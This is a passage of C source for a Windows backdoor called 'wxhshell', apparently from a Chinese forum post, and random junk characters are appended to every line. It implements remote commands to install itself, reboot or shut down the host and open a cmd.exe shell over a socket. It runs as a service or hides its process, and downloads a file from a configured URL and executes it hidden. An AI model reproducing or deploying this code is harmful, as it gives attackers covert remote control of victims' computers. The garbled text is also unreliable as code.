    switch(cmd[0]) { 'W$qi@f_s  
  Q>X ;7nt0  
  // 帮助 ;1"K79  
  case '?': { ."3 J;j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #{N#yReh  
    break; 2y,~i;;_  
  } vnIxI a  
  // 安装 b cOX/  
  case 'i': { y*zZ }>  
    if(Install()) + J_W}G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J_`.w  
    else 5ptbz<Xv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z5NuLB'  
    break; <01MXT-  
    } I</Nmgf  
  // 卸载 B[y1RI|9  
  case 'r': { hf%W grO.  
    if(Uninstall()) p-ry{"XA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4N*^%  
    else Wlt shZo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Xsby  
    break; rvOR[T>  
    } _)^(-}(_D  
  // 显示 wxhshell 所在路径 NbgP,-  
  case 'p': { FSH6C2  
    char svExeFile[MAX_PATH]; }~\J7R'  
    strcpy(svExeFile,"\n\r"); lJq %me;4m  
      strcat(svExeFile,ExeFile); @Wdnc/o]  
        send(wsh,svExeFile,strlen(svExeFile),0); |/rBR!kPq  
    break; $BNn1C8[  
    } r}XD{F}"  
  // 重启 SR8[ 7MU  
  case 'b': { igz&7U8gg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *6k (xL  
    if(Boot(REBOOT)) 6`EyzB%.$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;};qQ-C2  
    else { Hjlx,:'M  
    closesocket(wsh); LG51e7_gFi  
    ExitThread(0); %f?#) 01>  
    } Qza[~6  
    break; $k}+,tHtJO  
    } vW~_+:),e  
  // 关机 N[=nh)m7b  
  case 'd': { S0kH/A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? BBDk  
    if(Boot(SHUTDOWN)) E6BW&Xp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X/'B*y'=U  
    else { J2yq|n?2gq  
    closesocket(wsh); c[ =9Z;|  
    ExitThread(0); a#KxjVM  
    } QULrE+@  
    break; +]UPY5:F  
    } 'L=g(  
  // 获取shell l *pCG`@J#  
  case 's': { .'>r?%a  
    CmdShell(wsh); #16)7  
    closesocket(wsh); `\#Q r|GC  
    ExitThread(0); |h8C}P&Z  
    break; OB5{EILej  
  } x+%lNR  
  // 退出 -cJ(iz9!  
  case 'x': { "<bL-k*H)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :Im_=S[0  
    CloseIt(wsh); }|Cw]GW  
    break; OB5(4TY  
    } NOo&5@z;H  
  // 离开 R%}OZJ_  
  case 'q': { "xYMv"X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); } %rF}>$A  
    closesocket(wsh); + ^4"  
    WSACleanup(); jhK&Z7;  
    exit(1); *$uKg zv3  
    break; |+ @  
        } %p^C,B{7w  
  } Cl i k  
  } hnH:G`[F  
nhQ.U>&-M  
  // 提示信息 9OP d'f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nn5S7!  
} 2VMau.eQ  
  } aRj3TtFh  
h jW RU#  
  return; nM\W a  
} {h|3P/?7  
S ^2'O7uj  
// shell模块句柄 %%kl R{  
int CmdShell(SOCKET sock) 6 3Kec  
{ SO8Ej)m  
STARTUPINFO si; u.$.RkNMQ  
ZeroMemory(&si,sizeof(si)); v" y e\ZG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nvgo6*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >TwOL  
PROCESS_INFORMATION ProcessInfo; ]X@/0  
char cmdline[]="cmd"; _U/etlDTO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Iu%/~FgPj{  
  return 0; T\. 8og  
} [Zi\L>PHO  
v#=WdaNz  
// 自身启动模式 ]!0 BMZmf  
int StartFromService(void) TDy@Y> )  
{ ~d){7OG  
typedef struct eHd{'J<  
{ DpI_`TF#$Z  
  DWORD ExitStatus; 7u o4F= %  
  DWORD PebBaseAddress; 7q$9\RR5  
  DWORD AffinityMask; x8tRa0-q  
  DWORD BasePriority; z[ IG+2  
  ULONG UniqueProcessId; uh`~K6&*\w  
  ULONG InheritedFromUniqueProcessId; ~F uD6f  
}   PROCESS_BASIC_INFORMATION; 2ggW4`"c  
]:m*7p\uk  
PROCNTQSIP NtQueryInformationProcess; G@ed2T  
!Z<Z"R/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =]U[   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u\s mQhQGE  
F''4j8  
  HANDLE             hProcess; oPm1`x  
  PROCESS_BASIC_INFORMATION pbi; 'xr\\Cd9s  
5o rA#B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F2 >o"j2  
  if(NULL == hInst ) return 0; LEHlfB#z`@  
"R4~ 8r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0v+5&Jk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _S@s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :,]%W $f=  
[ivJ&'vB  
  if (!NtQueryInformationProcess) return 0; jk) V[7P  
|44CD3A%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]+d.X]   
  if(!hProcess) return 0; )<-kS  
O_(J',++  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w4RP*Da?:  
~)sb\o  
  CloseHandle(hProcess); %0fj~s;  
0y2iS' t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eEezd[p  
if(hProcess==NULL) return 0; q^O{LGN  
l&;#`\s!V  
HMODULE hMod; k3^S^Bv\  
char procName[255]; sL+/Eeb` c  
unsigned long cbNeeded; f<0-'fGJd  
J=zh+oLCV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R"=G?d)  
b3y@!_'c  
  CloseHandle(hProcess); V"T;3@N/4  
"1h|1'S50?  
if(strstr(procName,"services")) return 1; // 以服务启动 Q9FY.KUM  
Gq+!%'][P  
  return 0; // 注册表启动 k@KX=mG<  
} #sAEIk/  
  7&l  
// 主模块 wzP>Cq  
int StartWxhshell(LPSTR lpCmdLine) :N%]<Mq  
{ nyTfTn  
  SOCKET wsl; Jw"'ZW#W  
BOOL val=TRUE; khW3z*e#  
  int port=0;  Ur]5AJ  
  struct sockaddr_in door; %J2u+K  
 mEhVc!  
  if(wscfg.ws_autoins) Install(); =(.HO:#  
T9N /;3  
port=atoi(lpCmdLine); 0&c12W|B<L  
won%(n,HT  
if(port<=0) port=wscfg.ws_port; 3mr9}P9;  
IuB0C!'  
  WSADATA data; NWb,$/7T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jr\4x7a;`~  
I9k o*f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UT]LF#.(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3ef]3  
  door.sin_family = AF_INET; v:s~Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); </qXKEu`_  
  door.sin_port = htons(port); \BUr2]  
zcP_-q]1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SP5/K3t-*  
closesocket(wsl); F7cv`i?2."  
return 1; vKol@7%N  
} dJ:EXVU  
RzFv``g  
  if(listen(wsl,2) == INVALID_SOCKET) { <E!M<!h  
closesocket(wsl); Fag%#jxI  
return 1; &*[T  
} nwHi3ojD:  
  Wxhshell(wsl); oT%~)g  
  WSACleanup(); w+*Jl}&\  
PgxD?Oi8  
return 0; D]Bvjh   
^'6!)y#  
} (A/V(.!  
^hRos  
// 以NT服务方式启动 MU%C_d%.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X0Xs"--}  
{ C!%BW%"R  
DWORD   status = 0; g' H!%<  
  DWORD   specificError = 0xfffffff; 0bS\VUB(  
W32bBzhL  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .KXpB7:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f9X*bEl9;`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K"#np!Y)  
  serviceStatus.dwWin32ExitCode     = 0; Xr6UN{_-  
  serviceStatus.dwServiceSpecificExitCode = 0; lLS`Ln)"  
  serviceStatus.dwCheckPoint       = 0; shj S^CP  
  serviceStatus.dwWaitHint       = 0; YeptYW@xfw  
aXhgzI5]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1^b-J0  
  if (hServiceStatusHandle==0) return; ,eF}`  
s(r(! FZ  
status = GetLastError(); qOqQt=ObU  
  if (status!=NO_ERROR) =K- B I  
{ *'1qA0Xc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZlUd^6|:3  
    serviceStatus.dwCheckPoint       = 0; ~OAST  
    serviceStatus.dwWaitHint       = 0; 0!eZ&.h?4  
    serviceStatus.dwWin32ExitCode     = status; NoV)}fX$X8  
    serviceStatus.dwServiceSpecificExitCode = specificError; R'uM7,7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .FtW $Y~y  
    return; B9&"/tT  
  } A<ur20   
R%"wf   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C;-9_;&  
  serviceStatus.dwCheckPoint       = 0; Fi14_{  
  serviceStatus.dwWaitHint       = 0; b$l@Z&[]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F%UyFUz  
} nNSq6 Cj  
;*{y!pgb  
// 处理NT服务事件,比如:启动、停止 Ugp[Ugr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w[S2 ] <  
{ Q"h/o"-h  
switch(fdwControl) mg;+Th &  
{ Mm;kB/ 1  
case SERVICE_CONTROL_STOP: MN}@EQvW==  
  serviceStatus.dwWin32ExitCode = 0; F3HpDfy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =6y4*f  
  serviceStatus.dwCheckPoint   = 0; 7q&Ru|T33  
  serviceStatus.dwWaitHint     = 0; n ,!PyJ  
  { Uf}s6#   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AcqsXBKd  
  } R4.$9_ ui  
  return; swss#?.se  
case SERVICE_CONTROL_PAUSE: q"7rd?r52  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z@R:~  
  break; O8%+5l`T!  
case SERVICE_CONTROL_CONTINUE: 0,a\vs%@X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JL5 )  
  break; Rf||(KC<  
case SERVICE_CONTROL_INTERROGATE: v9QR,b` n  
  break; hsr,a{B%$  
}; %JF.m$-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]:uJ&xUar  
} ~>2@55wElp  
DgQw`D)+  
// 标准应用程序主函数 i0; p?4`m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :Q@=;P2  
{ TUuw  
}F=scbpXj  
// 获取操作系统版本 7D PKKvQ  
OsIsNt=GetOsVer(); FW~%xUSE5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SIQ7oxS4  
P(D0ru  
  // 从命令行安装 1AiqB Rs  
  if(strpbrk(lpCmdLine,"iI")) Install(); FRqJ#yd]  
kcGs2Y_*&  
  // 下载执行文件 MHar9)$}  
if(wscfg.ws_downexe) { Z.TYi~d/9D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }q7rR:g  
  WinExec(wscfg.ws_filenam,SW_HIDE); I<yd=#:n  
} `}<x"f7.z  
]Y@Db5S$T  
if(!OsIsNt) { A Ws y9  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,kS3Ioj  
HideProc(); *Y'nDv6_P  
StartWxhshell(lpCmdLine); {6d)|';%  
} Jm0o[4  
else Awy-kou[C  
  if(StartFromService()) H&Jp,<\x  
  // 以服务方式启动 7 L2$(d4  
  StartServiceCtrlDispatcher(DispatchTable); 3<">1] /,  
else bWU4lPfP  
  // 普通方式启动 {BB#Bh[  
  StartWxhshell(lpCmdLine); l`"i'P   
MtWzGE=?  
return 0; www#.D%'U  
}
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只看该作者 1 发表于: 2006-10-10
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